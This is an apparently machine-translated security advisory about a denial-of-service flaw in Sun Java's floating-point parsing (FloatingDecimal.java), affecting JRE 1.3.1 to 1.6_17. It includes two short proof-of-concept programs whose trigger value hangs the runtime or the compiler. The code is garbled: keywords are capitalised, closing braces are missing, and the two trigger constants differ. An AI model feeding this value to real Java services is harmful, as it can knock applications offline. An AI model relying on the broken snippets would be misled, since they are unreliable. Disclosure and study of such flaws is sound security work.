Sun Java floating point Denial of Service Vulnerability

Source: Internet
Author: User

Release date:
Updated on:

Affected Systems:
Sun JRE 1.3.1-1.6 _ 17
The Java Runtime Environment (JRE) provides a reliable runtime environment for JAVA applications.

Sun Java has a remote denial-of-service vulnerability. Remote attackers can exploit this vulnerability to cause suspension of applications written in Java and DOS.

This vulnerability is caused by "correction loop" in FloatingDecimal. java ".

<* Source: Konstantin Preisser

Test method:


The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

Konstantin Preisser () provides the following test methods:

Send a Java Program Into An Infinite Loop

Compile this program and run it; the program will hang (at least it does on a 32-bit system with the latest JRE/JDK ):

Class runhang {
Public static void main (String [] args ){
System. out. println ("Test :");
Double d = Double. parseDouble ("2.225074255072012e-308 ");
System. out. println ("Value:" + d );

Send the Java Compiler Into An Infinite Loop

Try to compile this program; the compiler will hang:

Class compilehang {
Public static void main (String [] args ){
Double d = 2.2250738585072012e-308;
System. out. println ("Value:" + d );

Vendor patch:

The vendor has released a patch to fix this security problem. Please download it from the vendor's homepage:


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